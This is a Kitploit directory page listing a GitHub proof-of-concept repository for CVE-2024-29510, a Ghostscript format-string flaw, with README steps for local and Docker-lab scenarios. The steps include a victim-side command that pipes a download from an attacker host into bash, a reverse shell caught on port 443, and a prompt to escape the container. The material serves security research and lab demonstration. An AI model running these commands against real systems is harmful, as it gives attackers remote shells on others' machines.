Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-29510 — Código POC para CVE-2024-29510 e demonstração do VulnApp | Kitploit
Ferramentas/GitHubGitHub/swsmith2391/cve-2024-29510
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebDesenvolvimento de PayloadsEscape de ContêinerExploração de Binários
GitHubswsmith2391/cve-2024-29510

CVE-2024-29510

Código POC para CVE-2024-29510 e demonstração do VulnApp

Ver Repositório
116há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Original research and POC code: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/

NOTA: Não fiz alterações no POC além do comando executado. Todo o crédito vai para Thomas Rinsma @ Codean Labs pela pesquisa e POC incríveis.

Local Scenario

  1. Wrapped in stager script to download and run check script to see if host is vulnerable
  2. POC modified to download and execute Python3 reverse shell
  3. Stager and reverse shell downloaded and executed through STDIN
  4. POC leaves artifact in /tmp with random name

On attacker host:

  1. Using pwncat-cs or netcat, create listener for 443
  2. Navigate to exploit directory
  3. python3 -m http.server 80

On victim host (Ubuntu 23.10 running Ghostscript 10.01.2):

  1. Open terminal and run: export RHOST=''; wget -q http://$RHOST/run -O - | bash &

Remote Scenario (VulnApp)

  1. Build VulnApp using: 'docker build -t cve-2024-29510-demo:latest .' (Requires a copy of https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10021/ghostscript-10.02.1.tar.gz in the Dockerfile directory)
  2. Run VulnApp using: 'docker run --rm -p 5000:5000 cve-2024-29510-demo:latest'
  3. Try converting good.ps to test functionality. Should return a rendered PDF with lines drawing an arrow e.g. '>'
  4. Setup a web server on port 80 hosting shell.html e.g. 'python3 -m http.server 80'
  5. Using pwncat-cs or netcat, create listener for 443
  6. Upload bad.eps, VulnApp will hang and listener should catch a reverse shell for container (Running as root)
  7. Escape the container!
Baixar ferramenta